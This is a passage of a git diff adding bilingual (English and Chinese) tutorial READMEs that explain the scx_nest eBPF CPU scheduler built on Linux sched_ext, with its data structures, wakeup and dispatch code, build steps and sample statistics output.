(!cpumask) + return -ENOMEM; + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&primary_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&reserve_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + bpf_for(cpu, 0, nr_cpus) { + s32 key = cpu; + struct pcpu_ctx *ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + + if (!ctx) { + scx_bpf_error("Failed to lookup pcpu_ctx"); + return -ENOENT; + } + ctx->scheduled_compaction = false; + if (bpf_timer_init(&ctx->timer, &pcpu_ctxs, CLOCK_BOOTTIME)) { + scx_bpf_error("Failed to initialize pcpu timer"); + return -EINVAL; + } + err = bpf_timer_set_callback(&ctx->timer, compact_primary_core); + if (err) { + scx_bpf_error("Failed to set pcpu timer callback"); + return -EINVAL; + } + } + + timer = bpf_map_lookup_elem(&stats_timer, &key); + if (!timer) { + scx_bpf_error("Failed to lookup central timer"); + return -ESRCH; + } + bpf_timer_init(timer, &stats_timer, CLOCK_BOOTTIME); + bpf_timer_set_callback(timer, stats_timerfn); + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("Failed to arm stats timer"); + + return err; +} +``` + +The `nest_init` function sets up the `scx_nest` scheduler during system initialization. It creates a fallback dispatch queue (`FALLBACK_DSQ_ID`) and initializes the primary and reserve CPU masks. For each CPU, it retrieves the per-CPU context from the `pcpu_ctxs` map, initializes a timer for core compaction, and sets the callback to `compact_primary_core`. Additionally, it initializes and starts the central statistics timer (`stats_timer`) with the callback function `stats_timerfn`, ensuring that scheduler statistics are continuously monitored. + +#### `nest_exit` + +Handles cleanup when the scheduler exits: + +```c +void BPF_STRUCT_OPS(nest_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} +``` + +The `nest_exit` function records exit information and performs any necessary cleanup when the scheduler is being removed or the system is shutting down. This ensures that all resources are properly released and that the system remains stable. + +#### `SCX_OPS_DEFINE` + +Defines the operations structure for the `scx_nest` scheduler: + +```c +SCX_OPS_DEFINE(nest_ops, + .select_cpu = (void *)nest_select_cpu, + .enqueue = (void *)nest_enqueue, + .dispatch = (void *)nest_dispatch, + .running = (void *)nest_running, + .stopping = (void *)nest_stopping, + .init_task = (void *)nest_init_task, + .enable = (void *)nest_enable, + .init = (void *)nest_init, + .exit = (void *)nest_exit, + .flags = 0, + .name = "nest"); +``` + +The `SCX_OPS_DEFINE` macro binds all the scheduler's functions to the `nest_ops` structure, which the `sched_ext` framework uses to interface with the scheduler. This structure ensures that the scheduler's operations are correctly mapped and invoked by the kernel during task scheduling events. + +### Initialization and Cleanup + +Proper initialization and cleanup are crucial for the scheduler's stability and performance. + +#### `nest_init` Function + +The `nest_init` function is responsible for setting up the scheduler during system initialization. Here's how it operates: + +1. **Create Fallback Dispatch Queue:** + - It calls `scx_bpf_create_dsq` to create a fallback dispatch queue (`FALLBACK_DSQ_ID`). If this fails, it logs an error and exits. + +2. **Initialize Primary and Reserve CPU Masks:** + - It creates and clears a new `bpf_cpumask` for the primary mask. + - It exchanges the newly created mask with the existing `primary_cpumask`. If an old mask exists, it releases it. + - The same process is repeated for the reserve mask. + +3. **Initialize Per-CPU Contexts:** + - For each CPU, it retrieves the per-CPU context from the `pcpu_ctxs` map. + - It initializes the `scheduled_compaction` flag to `false`. + - It initializes the timer using `bpf_timer_init` and sets the callback to `compact_primary_core` using `bpf_timer_set_callback`. + - If any of these steps fail, it logs an error and exits. + +4. **Initialize and Start Statistics Timer:** + - It retrieves the central statistics timer from the `stats_timer` map. + - It initializes the timer and sets its callback to `stats_timerfn`. + - It starts the timer with a delay of `sampling_cadence_ns - 5000` nanoseconds. + - If starting the timer fails, it logs an error. + +5. **Return:** + - The function returns the result of the timer initialization, indicating success or failure. + +This initialization process ensures that all necessary components of the scheduler are correctly set up, including CPU masks, timers, and dispatch queues. + +#### `nest_exit` Function + +The `nest_exit` function handles cleanup when the scheduler is being removed or the system is shutting down: + +```c +void BPF_STRUCT_OPS(nest_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} +``` + +This function records exit information through the `UEI_RECORD` macro, ensuring that any necessary cleanup actions are performed. Proper cleanup is essential to maintain system stability and prevent resource leaks. + +### Final Scheduler Definition + +The `SCX_OPS_DEFINE` macro binds all the scheduler's functions into a single structure used by the `sched_ext` framework: + +```c +SCX_OPS_DEFINE(nest_ops, + .select_cpu = (void *)nest_select_cpu, + .enqueue = (void *)nest_enqueue, + .dispatch = (void *)nest_dispatch, + .running = (void *)nest_running, + .stopping = (void *)nest_stopping, + .init_task = (void *)nest_init_task, + .enable = (void *)nest_enable, + .init = (void *)nest_init, + .exit = (void *)nest_exit, + .flags = 0, + .name = "nest"); +``` + +This structure, `nest_ops`, effectively registers the scheduler's operations with the `sched_ext` framework, ensuring that the scheduler responds appropriately to various scheduling events and system states. + +## Compilation and Execution + +To compile and run the `scx_nest` scheduler, follow these steps: + +**Compile the Code:** + +Use `make` to build the scheduler. Ensure that you have the necessary build tools and kernel headers installed. + +```bash +make +``` + +**Run the Scheduler:** + +Execute the compiled scheduler binary. Depending on your system's configuration and permissions, you might need to run this command with elevated privileges. + +```bash +./scx_nest +``` + +### Sample Output + +Upon running the scheduler, you should observe output similar to the following: + +``` +# ./scx_nest + +Wakeup stats +------------ +WAKEUP_ATTACHED=150 +WAKEUP_PREV_PRIMARY=61 +WAKEUP_FULLY_IDLE_PRIMARY=0 +WAKEUP_ANY_IDLE_PRIMARY=103 +WAKEUP_FULLY_IDLE_RESERVE=0 +WAKEUP_ANY_IDLE_RESERVE=216 +WAKEUP_IDLE_OTHER=11 + + +Nest stats +---------- +TASK_IMPATIENT=67 +PROMOTED_TO_PRIMARY=217 +PROMOTED_TO_RESERVED=8 +DEMOTED_TO_RESERVED=212 +RESERVED_AT_CAPACITY=6 +SCHEDULED_COMPACTION=525 +CANCELLED_COMPACTION=314 +EAGERLY_COMPACTED=8 +CALLBACK_COMPACTED=208 + + +Consume stats +------------- +CONSUMED=166 +NOT_CONSUMED=667 + + + +Masks +----- +PRIMARY ( 0): | -------------------------------------------------------------------------------------------------------------------------------- | +RESERVED (10): | ***-*--*--------------------------------------------------------***-*--*-------------------------------------------------------- | +OTHER (128): | ******************************************************************************************************************************** | +IDLE (16): | ********--------------------------------------------------------********-------------------------------------------------------- | + + +^CEXIT: unregistered from user space +``` + +This output provides comprehensive statistics on task wakeups, nest operations, consumption rates, and CPU mask statuses. It indicates how the scheduler is managing tasks and CPU cores, showcasing the effectiveness of the `scx_nest` algorithm in maintaining high-frequency core utilization and efficient task placement. + +## Summary and Call to Action + +In this tutorial, we've delved into the implementation of the `scx_nest` scheduler, an advanced eBPF program that customizes CPU scheduling to optimize performance based on core frequency and utilization. By leveraging the `sched_ext` framework, `scx_nest` demonstrates how eBPF can dynamically define scheduling behavior, offering flexibility and control beyond traditional schedulers. + +Key takeaways include: + +- Understanding the flexibility and power of the `sched_ext` scheduler class. +- Exploring the intricate data structures and maps that underpin the `scx_nest` scheduler. +- Analyzing core functions that manage task placement, core compaction, and statistics collection. +- Learning how to compile and execute the scheduler, observing its impact through detailed statistics. + +The `scx_nest` scheduler serves as an excellent example of how advanced eBPF programming can be utilized to implement complex system functionalities in a flexible and dynamic manner. + +If you'd like to dive deeper into eBPF and explore more advanced examples, visit our tutorial repository at [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or check out our website at [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). + +## References + +The original source code for the `scx_nest` scheduler is available in the [sched-ext/scx](https://github.com/sched-ext/scx) repository. + +Additional resources that can enhance your understanding include: + +- **Linux Kernel Documentation:** [Scheduler Ext Documentation](https://www.kernel.org/doc/html/next/scheduler/sched-ext.html) +- **Kernel Source Tree:** [Linux Kernel `sched_ext` Tools](https://github.com/torvalds/linux/tree/master/tools/sched_ext) +- **eBPF Official Documentation:** [https://docs.ebpf.io/](https://docs.ebpf.io/) +- **libbpf Documentation:** [https://github.com/libbpf/libbpf](https://github.com/libbpf/libbpf) + +Feel free to explore these resources to expand your knowledge and continue your journey into advanced eBPF programming! \ No newline at end of file diff --git a/src/45-scx-nest/README.zh.md b/src/45-scx-nest/README.zh.md new file mode 100644 index 00000000..1b458953 --- /dev/null +++ b/src/45-scx-nest/README.zh.md @@ -0,0 +1,903 @@ +# eBPF 示例教程:实现 `scx_nest` 调度器 + +在系统性能优化不断发展的领域中,自定义和扩展内核行为的能力是非常宝贵的。实现这一目标的最强大工具之一是 eBPF(扩展的 Berkeley 包过滤器)。在本教程中,我们将探讨 `scx_nest` 调度器的实现,这是一个先进的 eBPF 程序,利用了在 Linux 内核版本 `6.12` 中引入的 `sched_ext` 调度器类。在本指南结束时,您将了解如何构建一个复杂的调度器,该调度器根据 CPU 核心频率和利用率动态调整任务分配。 + +## `sched_ext` 介绍 + +`sched_ext` 调度器类标志着 Linux 内核调度能力的重大进步。与传统调度器不同,`sched_ext` 允许通过一组 BPF(Berkeley 包过滤器)程序动态定义其行为。这种灵活性使开发人员能够实现针对特定工作负载和系统需求量身定制的自定义调度算法。 + +## 理解 `scx_nest` 调度器 + +### 概述 + +`scx_nest` 调度器受 Inria Paris 论文《[OS Scheduling with Nest: Keeping Tasks Close Together on Warm Cores](https://hal.inria.fr/hal-03612592/file/paper.pdf)》的启发。由 Meta Platforms, Inc. 开发,`scx_nest` 专注于鼓励将任务分配到基于最近使用模式可能以更高频率运行的 CPU 核心上。这种方法旨在通过确保任务在最有效的核心上执行来优化性能。 + +该调度器作为一个全局加权虚拟时间(vtime)调度器运行,类似于完全公平调度器(CFS),同时利用 Nest 算法在任务唤醒时选择空闲核心。这种双重策略确保任务不仅被公平分配,还被放置在能够最有效执行它们的核心上。 + +`scx_nest` 旨在优化 CPU 利用率相对较低且可以受益于在少数核心上运行的工作负载。通过将任务集中在较少的核心上,调度器有助于保持这些核心的高频率,从而提升性能。然而,对于那些在分布到多个核心以避免缓存抖动时表现更好的工作负载,`scx_nest` 可能并不是理想选择。评估 `scx_nest` 对特定工作负载的适用性通常需要实验。 + +鉴于其设计,`scx_nest` 适用于生产环境,前提是满足硬件限制。它在具有统一 L3 缓存拓扑的单个 CCX(核心复合体)或单插槽主机上表现最佳。虽然当前版本未实现抢占,但所有 CPU 共享的调度队列确保队列前端的任务能够及时执行,前提是有足够的 CPU 可用。 + +## 高级代码分析 + +`scx_nest` 调度器的实现复杂,涉及各种数据结构、映射和函数,它们协同工作以管理任务分配和 CPU 核心利用率。完整的源代码可在 [eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 仓库中找到。下面,我们将剖析调度器的核心组件,详细解释每个部分。 + +### 核心数据结构和映射 + +#### 任务上下文 (`task_ctx`) + +系统中的每个任务都有一个关联的上下文,用于维护与调度相关的信息。这个上下文对于基于任务的历史和当前状态做出明智的调度决策至关重要。 + +```c +/* 每个任务的调度上下文 */ +struct task_ctx { + /* + * 用于计算任务的主掩码和保留掩码的临时 cpumask。 + */ + struct bpf_cpumask __kptr *tmp_mask; + + /* + * 任务观察到其之前的核心不为空闲的次数。如果连续发生 r_impatient 次, + * 将尝试从保留 Nest 或回退 Nest 中获取一个核心。 + */ + u32 prev_misses; + + /* + * 任务“附加”的核心,意味着它至少连续在该核心上执行了两次, + * 并且在唤醒时首先尝试迁移到该核心。任务只有在附加核心空闲且 + * 在主 Nest 中时才会迁移到附加核心。 + */ + s32 attached_core; + + /* + * 任务上次执行的核心。这用于确定任务是否应该附加到下一个 + * 执行的核心。 + */ + s32 prev_cpu; +}; +``` + +`task_ctx` 结构体包含一个临时 CPU 掩码 (`tmp_mask`),用于计算任务的主 CPU 集合和保留 CPU 集合。`prev_misses` 计数器跟踪任务的首选核心不为空闲的次数,影响迁移任务到不同核心的决策。`attached_core` 指示任务当前绑定的核心,确保在可能的情况下在高频率核心上运行。最后,`prev_cpu` 记录任务上次执行的核心,有助于维护任务与核心的亲和性。 + +#### 每 CPU 上下文 (`pcpu_ctx`) + +每个 CPU 都有一个关联的上下文,用于管理定时器和压缩状态。这个上下文有助于确定何时由于不活动而将核心从主 Nest 中降级。 + +```c +struct pcpu_ctx { + /* 用于从主 Nest 中压缩核心的定时器。 */ + struct bpf_timer timer; + + /* 当前核心是否已安排进行压缩。 */ + bool scheduled_compaction; +}; +``` + +`pcpu_ctx` 结构体包含一个 `bpf_timer`,用于调度压缩事件,以及一个布尔标志 `scheduled_compaction`,指示是否已为核心安排了压缩。 + +#### 映射 + +多个 BPF 映射用于存储上下文和管理定时器: + +```c +/* 任务存储映射 */ +struct { + __uint(type, BPF_MAP_TYPE_TASK_STORAGE); + __uint(map_flags, BPF_F_NO_PREALLOC); + __type(key, int); + __type(value, struct task_ctx); +} task_ctx_stor SEC(".maps"); + +/* 每 CPU 上下文 */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1024); + __type(key, s32); + __type(value, struct pcpu_ctx); +} pcpu_ctxs SEC(".maps"); + +/* 统计定时器 */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, u32); + __type(value, struct stats_timer); +} stats_timer SEC(".maps"); +``` + +- **`task_ctx_stor`:** 该映射存储每个任务的调度上下文,使调度器能够访问和修改特定任务的信息。 +- **`pcpu_ctxs`:** 一个数组映射,保存每个 CPU 的上下文,使调度器能够管理每个 CPU 的定时器和压缩状态。 +- **`stats_timer`:** 一个单条目的数组映射,用于管理用于收集调度统计信息的中央定时器。 + +此外,调度器维护了主 CPU 掩码、保留 CPU 掩码、其他 CPU 掩码和空闲 CPU 掩码,以及用于跟踪各种调度器指标的统计映射。 + +### 核心函数 + +#### `stat_inc` + +一个辅助函数,用于递增调度统计数据: + +```c +static __always_inline void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} +``` + +此函数在 `stats` 映射中查找一个计数器,并在计数器存在时递增它。调度器在各处使用它来跟踪各种事件和状态。 + +#### `vtime_before` + +一个用于比较虚拟时间的实用函数: + +```c +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} +``` + +此函数确定虚拟时间 `a` 是否在 `b` 之前,有助于基于时间的调度决策。 + +#### `try_make_core_reserved` + +尝试将一个核心提升为保留 Nest: + +```c +static __always_inline void +try_make_core_reserved(s32 cpu, struct bpf_cpumask * reserved, bool promotion) +{ + s32 tmp_nr_reserved; + + /* + * 此检查存在竞争,但没关系。如果我们错误地未能将核心提升到保留, + * 那是因为另一个上下文在这个小窗口中添加或移除了保留中的核心。 + * 这将在随后的唤醒中平衡。 + */ + tmp_nr_reserved = nr_reserved; + if (tmp_nr_reserved < r_max) { + /* + * 这里有可能暂时超过 r_max,但随着更多核心被降级或未能 + * 被提升到保留 Nest,应该会平衡。 + */ + __sync_fetch_and_add(&nr_reserved, 1); + bpf_cpumask_set_cpu(cpu, reserved); + if (promotion) + stat_inc(NEST_STAT(PROMOTED_TO_RESERVED)); + else + stat_inc(NEST_STAT(DEMOTED_TO_RESERVED)); + } else { + bpf_cpumask_clear_cpu(cpu, reserved); + stat_inc(NEST_STAT(RESERVED_AT_CAPACITY)); + } +} +``` + +`try_make_core_reserved` 函数尝试将一个 CPU 核心添加到保留掩码中。首先检查保留核心的数量 (`nr_reserved`) 是否低于允许的最大值 (`r_max`)。如果是,则递增 `nr_reserved` 计数器并将核心添加到保留掩码中。根据核心是被提升还是降级,递增相应的统计数据。如果保留容量已满,则从保留掩码中清除核心并更新相关统计数据。 + +#### `update_attached` + +根据最近的执行更新任务的附加核心: + +```c +static void update_attached(struct task_ctx *tctx, s32 prev_cpu, s32 new_cpu) +{ + if (tctx->prev_cpu == new_cpu) + tctx->attached_core = new_cpu; + tctx->prev_cpu = prev_cpu; +} +``` + +此函数更新任务的 `attached_core`。如果任务连续在同一核心上执行,它会将任务附加到该核心。然后更新 `prev_cpu` 以反映任务最近运行的核心。 + +#### `compact_primary_core` + +处理主核心的压缩,将其降级到保留 Nest: + +```c +static int compact_primary_core(void *map, int *key, struct bpf_timer *timer) +{ + struct bpf_cpumask *primary, *reserve; + s32 cpu = bpf_get_smp_processor_id(); + struct pcpu_ctx *pcpu_ctx; + + stat_inc(NEST_STAT(CALLBACK_COMPACTED)); + + /* + * 如果我们到达此回调,这意味着定时器回调从未被取消, + * 因此需要将核心从主 Nest 中降级。 + */ + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (!pcpu_ctx) { + scx_bpf_error("无法查找 pcpu ctx"); + return 0; + } + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("无法找到 primary 或 reserve"); + bpf_rcu_read_unlock(); + return 0; + } + + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + bpf_rcu_read_unlock(); + pcpu_ctx->scheduled_compaction = false; + return 0; +} +``` + +当压缩定时器到期时,将调用 `compact_primary_core`。它通过从主掩码中清除当前 CPU 核心并尝试将其添加到保留掩码中,将当前 CPU 核心从主 Nest 降级到保留 Nest。这确保了不活动的核心得到有效管理,保持性能和资源利用之间的平衡。 + +#### `nest_select_cpu` + +在任务唤醒时确定适当的 CPU: + +```c +s32 BPF_STRUCT_OPS(nest_select_cpu, struct task_struct *p, s32 prev_cpu, u64 wake_flags) +{ + struct bpf_cpumask *p_mask, *primary, *reserve; + s32 cpu; + struct task_ctx *tctx; + struct pcpu_ctx *pcpu_ctx; + bool direct_to_primary = false, reset_impatient = true; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) + return -ENOENT; + + bpf_rcu_read_lock(); + p_mask = tctx->tmp_mask; + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!p_mask || !primary || !reserve) { + bpf_rcu_read_unlock(); + return -ENOENT; + } + + tctx->prev_cpu = prev_cpu; + + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(primary)); + + /* 首先尝试在附加核心上唤醒任务。 */ + if (bpf_cpumask_test_cpu(tctx->attached_core, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(tctx->attached_core)) { + cpu = tctx->attached_core; + stat_inc(NEST_STAT(WAKEUP_ATTACHED)); + goto migrate_primary; + } + + /* + * 如果之前的核心在主集合中,并且没有 hypertwin,则尝试留在之前的核心。 + * 如果之前的核心是任务附加的核心,不需要再尝试,因为我们已经在上面尝试过了。 + */ + if (prev_cpu != tctx->attached_core && + bpf_cpumask_test_cpu(prev_cpu, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(prev_cpu)) { + cpu = prev_cpu; + stat_inc(NEST_STAT(WAKEUP_PREV_PRIMARY)); + goto migrate_primary; + } + + if (find_fully_idle) { + /* 然后尝试在主集合中选择任何完全空闲的核心。 */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_PRIMARY)); + goto migrate_primary; + } + } + + /* 然后尝试在主集合中选择任何空闲的核心,即使其 hypertwin 正在活动。 */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_PRIMARY)); + goto migrate_primary; + } + + if (r_impatient > 0 && ++tctx->prev_misses >= r_impatient) { + direct_to_primary = true; + tctx->prev_misses = 0; + stat_inc(NEST_STAT(TASK_IMPATIENT)); + } + + reset_impatient = false; + + /* 然后尝试在保留集合中选择任何完全空闲的核心。 */ + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(reserve)); + if (find_fully_idle) { + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_RESERVE)); + goto promote_to_primary; + } + } + + /* 然后尝试在保留集合中选择任何空闲的核心,即使其 hypertwin 正在活动。 */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_RESERVE)); + goto promote_to_primary; + } + + /* 然后尝试在任务的 cpumask 中选择任何空闲的核心。 */ + cpu = scx_bpf_pick_idle_cpu(p->cpus_ptr, 0); + if (cpu >= 0) { + /* + * 我们找到了一个核心(我们认为它不在任何 Nest 中)。 + * 这意味着我们需要将该核心提升到保留 Nest,或者如果由于 + * 超过 r_impatient 而直接提升到主 Nest。 + * + * 我们必须在这里进行最后一次检查,看看核心是否在主掩码或保留掩码中, + * 因为我们可能与核心在将主掩码和保留掩码与 p->cpus_ptr 进行 AND + * 运算之间更改状态,并使用 scx_bpf_pick_idle_cpu() 原子性地保留它。 + * 这在上面的检查中技术上也是如此,但在那些情况下我们只是直接 + * 将核心放入主掩码中,因此问题不大。在这里,我们要确保不会 + * 意外地将已经在主掩码中的核心放入保留 Nest 中。这是不太可能的, + * 但我们在应该相对冷路径上进行了检查。 + */ + stat_inc(NEST_STAT(WAKEUP_IDLE_OTHER)); + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + goto migrate_primary; + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + goto promote_to_primary; + else if (direct_to_primary) + goto promote_to_primary; + else + try_make_core_reserved(cpu, reserve, true); + bpf_rcu_read_unlock(); + return cpu; + } + + bpf_rcu_read_unlock(); + return prev_cpu; + +promote_to_primary: + stat_inc(NEST_STAT(PROMOTED_TO_PRIMARY)); +migrate_primary: + if (reset_impatient) + tctx->prev_misses = 0; + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (pcpu_ctx) { + if (pcpu_ctx->scheduled_compaction) { + if (bpf_timer_cancel(&pcpu_ctx->timer) < 0) + scx_bpf_error("取消 pcpu 定时器失败"); + if (bpf_timer_set_callback(&pcpu_ctx->timer, compact_primary_core)) + scx_bpf_error("重新设置 pcpu 定时器回调失败"); + pcpu_ctx->scheduled_compaction = false; + stat_inc(NEST_STAT(CANCELLED_COMPACTION)); + } + } else { + scx_bpf_error("查找 pcpu ctx 失败"); + } + bpf_cpumask_set_cpu(cpu, primary); + /* + * 检查 CPU 是否在保留掩码中。如果是,这可能发生在核心在我们尝试 + * 将当前唤醒任务分配到其上时被并发地压缩。同样,如果我们在 + * 由于超时直接提升到主 Nest,也会发生这种情况。 + * + * 我们不必担心与其他唤醒任务的竞争,因为我们已经通过(某种 + * 变体的)scx_bpf_pick_idle_cpu() 原子性地保留了该核心。 + */ + if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) { + __sync_sub_and_fetch(&nr_reserved, 1); + bpf_cpumask_clear_cpu(cpu, reserve); + } + bpf_rcu_read_unlock(); + update_attached(tctx, prev_cpu, cpu); + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, slice_ns, 0); + return cpu; +} +``` + +`nest_select_cpu` 函数是 `scx_nest` 调度器的核心。当任务唤醒时,此函数确定其执行最合适的 CPU 核心。该函数遵循一系列检查,以确保任务被放置在高频率、空闲的核心上,从而提升效率和性能。 + +最初,它从 `task_ctx_stor` 映射中检索任务的上下文。然后,它锁定读拷贝更新(RCU)锁,以安全地访问主掩码和保留掩码。调度器首先尝试将任务放置在其附加核心上,确保核心亲和性。如果附加核心不空闲,它会尝试先前的核心。根据各种条件,包括任务的急躁程度 (`r_impatient`) 和主 Nest 及保留 Nest 中空闲核心的可用性,调度器决定是否迁移任务、将核心提升到主 Nest,或将核心降级到保留 Nest。 + +在整个过程中,调度器更新相关统计数据,以提供对其操作的见解。使用 RCU 锁确保调度器的决策是在不干扰其他并发操作的情况下安全做出的。 + +#### `nest_enqueue` + +处理将任务入队到调度队列: + +```c +void BPF_STRUCT_OPS(nest_enqueue, struct task_struct *p, u64 enq_flags) +{ + struct task_ctx *tctx; + u64 vtime = p->scx.dsq_vtime; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) { + scx_bpf_error("无法找到任务上下文"); + return; + } + + /* + * 将空闲任务的预算限制为一个切片。 + */ + if (vtime_before(vtime, vtime_now - slice_ns)) + vtime = vtime_now - slice_ns; + + scx_bpf_dispatch_vtime(p, FALLBACK_DSQ_ID, slice_ns, vtime, enq_flags); +} +``` + +`nest_enqueue` 函数管理任务的入队,调整其虚拟时间 (`vtime`) 以确保公平性并防止任务在空闲时积累过多的执行预算。如果任务的 `vtime` 低于某个阈值,它将被调整以保持调度器内部的平衡。 + +#### `nest_dispatch` + +管理将任务分派到 CPU 核心: + +```c +void BPF_STRUCT_OPS(nest_dispatch, s32 cpu, struct task_struct *prev) +{ + struct pcpu_ctx *pcpu_ctx; + struct bpf_cpumask *primary, *reserve; + s32 key = cpu; + bool in_primary; + + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("没有主或保留 cpumask"); + return; + } + + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + if (!pcpu_ctx) { + scx_bpf_error("查找 pcpu ctx 失败"); + return; + } + + if (!scx_bpf_consume(FALLBACK_DSQ_ID)) { + in_primary = bpf_cpumask_test_cpu(cpu, cast_mask(primary)); + + if (prev && (prev->scx.flags & SCX_TASK_QUEUED) && in_primary) { + scx_bpf_dispatch(prev, SCX_DSQ_LOCAL, slice_ns, 0); + return; + } + + stat_inc(NEST_STAT(NOT_CONSUMED)); + if (in_primary) { + /* + * 如果主集合中的前一个任务正在死亡,立即降级主核心。 + * + * 注意,我们选择不压缩掩码中的“第一个” CPU,以鼓励至少保留一个核心在 Nest 中。 + * 最好检查是否仅剩一个核心在 Nest 中,但 BPF 目前没有用于查询 + * cpumask 权重的内核函数。 + */ + if ((prev && prev->__state == TASK_DEAD) && + (cpu != bpf_cpumask_first(cast_mask(primary)))) { + stat_inc(NEST_STAT(EAGERLY_COMPACTED)); + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + } else { + pcpu_ctx->scheduled_compaction = true; + /* + * 核心不再被使用。设置定时器以在 p_remove 中移除核心 + * 如果在那时仍未使用。 + */ + bpf_timer_start(&pcpu_ctx->timer, p_remove_ns, + BPF_F_TIMER_CPU_PIN); + stat_inc(NEST_STAT(SCHEDULED_COMPACTION)); + } + } + return; + } + stat_inc(NEST_STAT(CONSUMED)); +} +``` + +`nest_dispatch` 函数负责将任务分派到 CPU 核心。它首先检查回退调度队列 (`FALLBACK_DSQ_ID`) 中是否有可用任务。如果没有任务被消耗,它会评估 CPU 上的前一个任务是否已经死亡。如果是,并且 CPU 不在主掩码中的第一个位置,调度器将核心降级到保留 Nest。否则,它会为核心安排一个压缩定时器,以便在指定时间后可能降级该核心。如果从回退队列成功消耗了一个任务,它会递增相应的统计数据。 + +#### `nest_running` + +当任务开始运行时更新全局虚拟时间: + +```c +void BPF_STRUCT_OPS(nest_running, struct task_struct *p) +{ + /* + * 全局虚拟时间在任务开始执行时总是向前推进。 + * 测试和更新可以从多个 CPU 同时执行,因此存在竞争。 + * 任何错误都应该是可控且暂时的。我们就这样处理。 + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} +``` + +`nest_running` 函数确保全局虚拟时间 (`vtime_now`) 在任务开始执行时向前推进。这一机制有助于维护调度器操作的公平性和时间一致性。 + +#### `nest_stopping` + +处理任务停止运行,调整其虚拟时间: + +```c +void BPF_STRUCT_OPS(nest_stopping, struct task_struct *p, bool runnable) +{ + /* 按权重的倒数和费用缩放执行时间 */ + p->scx.dsq_vtime += (slice_ns - p->scx.slice) * 100 / p->scx.weight; +} +``` + +当任务停止运行时,`nest_stopping` 根据其执行切片和权重调整其虚拟时间。这一调整确保任务在调度器的虚拟时间计算中得到公平考虑,保持平衡并防止任何单个任务垄断 CPU 资源。 + +#### `nest_init_task` + +初始化新任务的上下文: + +```c +s32 BPF_STRUCT_OPS(nest_init_task, struct task_struct *p, + struct scx_init_task_args *args) +{ + struct task_ctx *tctx; + struct bpf_cpumask *cpumask; + + /* + * @p 是新的。确保其 task_ctx 可用。 + * 我们可以在此函数中休眠,以下内容将自动使用 GFP_KERNEL。 + */ + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, + BPF_LOCAL_STORAGE_GET_F_CREATE); + if (!tctx) + return -ENOMEM; + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + + cpumask = bpf_kptr_xchg(&tctx->tmp_mask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + tctx->attached_core = -1; + tctx->prev_cpu = -1; + + return 0; +} +``` + +`nest_init_task` 函数为新任务初始化调度上下文。它通过从 `task_ctx_stor` 映射中检索任务的上下文来确保任务的上下文可用,创建一个新的 `bpf_cpumask` 进行临时计算,并为 `attached_core` 和 `prev_cpu` 设置初始值。 + +#### `nest_enable` + +通过设置任务的虚拟时间启用调度: + +```c +void BPF_STRUCT_OPS(nest_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} +``` + +`nest_enable` 函数通过将任务的虚拟时间 (`dsq_vtime`) 初始化为当前的全局虚拟时间 (`vtime_now`) 来激活任务的调度。这确保了任务的调度状态与调度器的虚拟时间同步。 + +#### `stats_timerfn` + +处理定期的统计信息收集: + +```c +static int stats_timerfn(void *map, int *key, struct bpf_timer *timer) +{ + s32 